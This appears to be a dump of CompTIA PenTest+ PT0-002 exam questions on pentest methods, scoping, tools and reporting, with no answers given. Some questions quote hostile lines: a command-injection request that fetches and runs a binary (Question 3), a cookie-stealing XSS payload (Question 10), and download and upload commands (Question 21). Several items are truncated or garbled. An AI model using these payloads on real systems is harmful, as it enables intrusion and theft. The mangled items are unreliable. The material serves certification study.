CompTIA PT0-002 Exam Dumps

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Question # 1

A penetration tester has been hired to perform a physical penetration test to gain access toa secure room within a client’s building. Exterior reconnaissance identifies two entrances, aWiFi guest network, and multiple security cameras connected to the Internet.Which of the following tools or techniques would BEST support additional reconnaissance?c

A. Wardriving
B. Shodan
C. Recon-ng
D. Aircrack-ng

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Question # 2

Given the following script:while True:print ("Hello World")Which of the following describes True?

A. A while loop
B. A conditional
C. A Boolean operator
D. An arithmetic operator

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Question # 3

A penetration tester was able to gain access to a system using an exploit. The following isa snippet of the code that was utilized:exploit = “POST ”exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache’%0A%27&loginUser=a&Pwd=a”exploit += “HTTP/1.1”Which of the following commands should the penetration tester run post-engagement?

A. grep –v apache ~/.bash_history > ~/.bash_history
B. rm –rf /tmp/apache
C. chmod 600 /tmp/apache
D. taskkill /IM “apache” /F

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Question # 4

A penetration tester has obtained shell access to a Windows host and wants to run aspecially crafted binary for later execution using the wmic.exe process call create function.Which of the following OS or filesystem mechanisms is MOST likely to support thisobjective?

A. Alternate data streams
B. PowerShell modules
C. MP4 steganography
D. PsExec

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Question # 5

Which of the following is a regulatory compliance standard that focuses on user privacy byimplementing the right to be forgotten?

A. NIST SP 800-53
B. ISO 27001
C. GDPR

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Question # 6

Penetration on an assessment for a client organization, a penetration tester noticesnumerous outdated software package versions were installed ...s-critical servers. Which ofthe following would best mitigate this issue?

A. Implementation of patching and change control programs
B. Revision of client scripts used to perform system updates
C. Remedial training for the client's systems administrators
D. Refrainment from patching systems until quality assurance approves

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Question # 7

Which of the following OSSTM testing methodologies should be used to test under theworst conditions?

A. Tandem
B. Reversal
C. Semi-authorized
D. Known environment

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Question # 8

A client wants a security assessment company to perform a penetration test against its hotsite. The purpose of the test is to determine the effectiveness of the defenses that protectagainst disruptions to business continuity. Which of the following is the MOST importantaction to take before starting this type of assessment?

A. Ensure the client has signed the SOW.
B. Verify the client has granted network access to the hot site.
C. Determine if the failover environment relies on resources not owned by the client.
D. Establish communication and escalation procedures with the client.

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Question # 9

Which of the following factors would a penetration tester most likely consider when testingat a location?

A. Determine if visas are required.
B. Ensure all testers can access all sites.
C. Verify the tools being used are legal for use at all sites.
D. Establish the time of the day when a test can occur.

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Question # 10

Given the following code: var+img=new+Image();img.src=”<a href="http://hacker/%20+%20document.cookie">http://hacker/%20+%20document.cookie</a>;</SCvar+img=new+Image();img.src=”<a href="http://hacker/%20+%20document.cookie">http://hacker/%20+%20document.cookie</a>;</SC RIPT>Which of the following are the BEST methods to prevent against this type of attack?(Choose two.)

A. Web-application firewall
B. Parameterized queries
C. Output encoding
D. Session tokens
E. Input validation
F. Base64 encoding

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Question # 11

A penetration tester learned that when users request password resets, help desk analystschange users' passwords to 123change. The penetration tester decides to brute force aninternet-facing webmail to check which users are still using the temporary password. Thetester configures the brute-force tool to test usernames found on a text file and the... Whichof the following techniques is the penetration tester using?

A. Password brute force attack
B. SQL injection
C. Password spraying
D. Kerberoasting

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Question # 12

A penetration tester is exploring a client’s website. The tester performs a curl commandand obtains the following:* Connected to 10.2.11.144 (::1) port 80 (#0)> GET /readmine.html HTTP/1.1> Host: 10.2.11.144> User-Agent: curl/7.67.0> Accept: */*>* Mark bundle as not supporting multiuse< HTTP/1.1 200< Date: Tue, 02 Feb 2021 21:46:47 GMT< Server: Apache/2.4.41 (Debian)< Content-Length: 317< Content-Type: text/html; charset=iso-8859-1<<!DOCTYPE html><html lang=”en”><head> <meta name=”viewport” content=”width=device-width” /><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>WordPress &#8250; ReadMe</title><link rel=”stylesheet” href=”wp-admin/css/install.css?ver=20100228” type=”text/css” /></head>Which of the following tools would be BEST for the penetration tester to use to explore thissite further?

A. Burp Suite
B. DirBuster
C. WPScan
D. OWASP ZAP

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Question # 13

When accessing the URL http://192.168.0-1/validate/user.php, a penetration testerobtained the following output ..d index: eid in /apache/www/validate/user.php line 12 ..d index: uid in  /apache/www/validate/user.php line 13 ..d index: pw in /apache/www/validate/user.php line 14 ..d index: acl in /apache/www/validate/user.php line 15 

A. Lack of code signing
B. Incorrect command syntax
C. Insufficient error handling
D. Insecure data transmission

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Question # 14

A penetration tester wrote the following comment in the final report: "Eighty-five percent ofthe systems tested were found to be prone to unauthorized access from the internet."Which of the following audiences was this message intended?

A. Systems administrators
B. C-suite executives
C. Data privacy ombudsman
D. Regulatory officials

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Question # 15

A penetration tester runs a scan against a server and obtains the following output:21/tcp open ftp Microsoft ftpd| ftp-anon: Anonymous FTP login allowed (FTP code 230)| 03-12-20 09:23AM 331 index.aspx| ftp-syst:135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds Microsoft Windows Server 2012 Std3389/tcp open ssl/ms-wbt-server| rdp-ntlm-info:| Target Name: WEB3| NetBIOS_Computer_Name: WEB3| Product_Version: 6.3.9600|_ System_Time: 2021-01-15T11:32:06+00:008443/tcp open http Microsoft IIS httpd 8.5| http-methods:|_ Potentially risky methods: TRACE|_http-server-header: Microsoft-IIS/8.5|_http-title: IIS Windows ServerWhich of the following command sequences should the penetration tester try NEXT?

A. ftp 192.168.53.23
B. smbclient \\\\WEB3\\IPC$ -I 192.168.53.23 –U guest
C. ncrack –u Administrator –P 15worst_passwords.txt –p rdp 192.168.53.23
D. curl –X TRACE https://192.168.53.23:8443/index.aspx
E. nmap –-script vuln –sV 192.168.53.23

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Question # 16

In an unprotected network file repository, a penetration tester discovers a text filecontaining usernames and passwords in cleartext and a spreadsheet containing data for 50employees, including full names, roles, and serial numbers. The tester realizes some of thepasswords in the text file follow the format: <name- serial_number>. Which of the followingwould be the best action for the tester to take NEXT with this information?

A. Create a custom password dictionary as preparation for password spray testing.
B. Recommend using a password manage/vault instead of text files to store passwordssecurely.
C. Recommend configuring password complexity rules in all the systems and applications.
D. Document the unprotected file repository as a finding in the penetration-testing report.

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Question # 17

Company.com has hired a penetration tester to conduct a phishing test. The tester wants toset up a fake log-in page and harvest credentials when target employees click on links in aphishing email. Which of the following commands would best help the tester determinewhich cloud email provider the log-in page needs to mimic?

A. dig company.com MX
B. whois company.com
C. cur1 www.company.com
D. dig company.com A

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Question # 18

During a penetration test, a tester is in close proximity to a corporate mobile devicebelonging to a network administrator that is broadcasting Bluetooth frames.Which of the following is an example of a Bluesnarfing attack that the penetration testercan perform?

A. Sniff and then crack the WPS PIN on an associated WiFi device.
B. Dump the user address book on the device.
C. Break a connection between two Bluetooth devices.
D. Transmit text messages to the device.

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Question # 19

A company recently moved its software development architecture from VMs to containers.The company has asked a penetration tester to determine if the new containers areconfigured correctly against a DDoS attack. Which of the following should a tester performfirst?

A. Test the strength of the encryption settings.
B. Determine if security tokens are easily available.
C. Perform a vulnerability check against the hypervisor.
D. .Scan the containers for open ports.

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Question # 20

A penetration tester breaks into a company's office building and discovers the companydoes not have a shredding service. Which of the following attacks should the penetrationtester try next?

A. Dumpster diving
B. Phishing
C. Shoulder surfing
D. Tailgating

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Question # 21

A penetration tester has obtained a low-privilege shell on a Windows server with a defaultconfiguration and now wants to explore the ability to exploit misconfigured servicepermissions. Which of the following commands would help the tester START this process?

A. certutil –urlcache –split –f http://192.168.2.124/windows-binaries/ accesschk64.exe
B. powershell (New-Object System.Net.WebClient).UploadFile(‘http://192.168.2.124/upload.php’, ‘systeminfo.txt’)
C. schtasks /query /fo LIST /v | find /I “Next Run Time:”
D. wget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe

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Question # 22

Which of the following documents describes activities that are prohibited during ascheduled penetration test?

A. MSA
B. NDA
C. ROE
D. SLA

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Question # 23

During a penetration tester found a web component with no authentication requirements.The web component also allows file uploads and is hosted on one of the target public webthe following actions should the penetration tester perform next?

A. Continue the assessment and mark the finding as critical.
B. Attempting to remediate the issue temporally.
C. Notify the primary contact immediately.
D. Shutting down the web server until the assessment is finished

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Question # 24

During an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?

A. Badge cloning 
B. Watering-hole attack 
C. Impersonation 
D. Spear phishing

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Question # 25

An exploit developer is coding a script that submits a very large number of small requests to a web server until the server is compromised. The script must examine each response received and compare the data to a large number of strings to determine which data to submit next. Which of the following data structures should the exploit developer use to make the string comparison and determination as efficient as possible? 

A. A list 
B. A tree 
C. A dictionary 
D. An array 

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Question # 26

A penetration tester who is performing a physical assessment of a company’s security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information? 

A. Badge cloning 
B. Dumpster diving 
C. Tailgating 
D. Shoulder surfing 

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Question # 27

A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision? 

A. The tester had the situational awareness to stop the transfer. 
B. The tester found evidence of prior compromise within the data set. 
C. The tester completed the assigned part of the assessment workflow. 
D. The tester reached the end of the assessment time frame. 

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Question # 28

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective? 

A. Wait for the next login and perform a downgrade attack on the server. 
B. Capture traffic using Wireshark. 
C. Perform a brute-force attack over the server. 
D. Use an FTP exploit against the server. 

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Question # 29

Given the following output: User-agent:* Disallow: /author/ Disallow: /xmlrpc.php Disallow: /wp-admin Disallow: /page/ During which of the following activities was this output MOST likely obtained? 

A. Website scraping 
B. Website cloning
 C. Domain enumeration 
D. URL enumeration 

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Question # 30

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test. Which of the following describes the scope of the assessment? 

A. Partially known environment testing 
B. Known environment testing 
C. Unknown environment testing 
D. Physical environment testing 

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Question # 31

A company’s Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi’s router. Which of the following is MOST vulnerable to a brute-force attack? 

A. WPS 
B. WPA2-EAP 
C. WPA-TKIP
 D. WPA2-PSK 

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Question # 32

Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report? 

A. S/MIME 
B. FTPS 
C. DNSSEC 
D. AS2 

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Question # 33

A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit? 

A. Perform XSS. 
B. Conduct a watering-hole attack. 
C. Use BeEF. 
D. Use browser autopwn. 

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Question # 34

A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement? 

A. Prying the lock open on the records room 
B. Climbing in an open window of the adjoining building 
C. Presenting a false employee ID to the night guard 
D. Obstructing the motion sensors in the hallway of the records room 

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Question # 35

A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file?

A. Nmap 
B. Wireshark 
C. Metasploit 
D. Netcat 

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Question # 36

Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data? 

A. An unknown-environment assessment 
B. A known-environment assessment 
C. A red-team assessment 
D. A compliance-based assessment 

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Question # 37

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems: 

A. will reveal vulnerabilities in the Modbus protocol. 
B. may cause unintended failures in control systems. 
C. may reduce the true positive rate of findings. 
D. will create a denial-of-service condition on the IP networks. 

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Question # 38

A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions? 

A. Aircrack-ng 
B. Wireshark 
C. Wifite 
D. Kismet 

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Question # 39

During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT? 

A. Deny that the vulnerability existed 
B. Investigate the penetration tester.
 C. Accept that the client was right. 
D. Fire the penetration tester. 

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Question # 40

When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because: 

A. security compliance regulations or laws may be violated. 
B. testing can make detecting actual APT more challenging. 
C. testing adds to the workload of defensive cyber- and threat-hunting teams. 
D. business and network operations may be impacted. 

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Question # 41

Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks? 

A. Scraping social media for personal details 
B. Registering domain names that are similar to the target company's
 C. Identifying technical contacts at the company 
D. Crawling the company's website for company information 

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Question # 42

A penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use? 

A. nmap sn 192.168.0.1/16 
B. nmap sn 192.168.0.1-254 
C. nmap sn 192.168.0.1 192.168.0.1.254 
D. nmap sN 192.168.0.0/24 

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Question # 43

A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php?id=123987. Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL? 

A. SQLmap 
B. Nessus 
C. Nikto 
D. DirBuster 

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Question # 44

A penetration tester opened a shell on a laptop at a client's office but is unable to pivot because of restrictive ACLs on the wireless subnet. The tester is also aware that all laptop users have a hard-wired connection available at their desks. Which of the following is the BEST method available to pivot and gain additional access to the network? 

A. Set up a captive portal with embedded malicious code. 
B. Capture handshakes from wireless clients to crack. 
C. Span deauthentication packets to the wireless clients. 
D. Set up another access point and perform an evil twin attack. 

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Question # 45

Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.) 

A. Use of non-optimized sort functions 
B. Poor input sanitization 
C. Null pointer dereferences 
D. Non-compliance with code style guide 
E. Use of deprecated Javadoc tags 
F. A cydomatic complexity score of 3 

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Question # 46

The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host delivery and write the discovery to files without returning results of the attack machine?

 A. nmap snn exclude 10.1.1.15 10.1.1.0/24 oA target_txt
 B. nmap iR10oX out.xml | grep Nmap | cut d "f5 > live-hosts.txt 
C. nmap PnsV OiL target.txt A target_text_Service 
D. nmap sSPn n iL target.txt A target_txtl 

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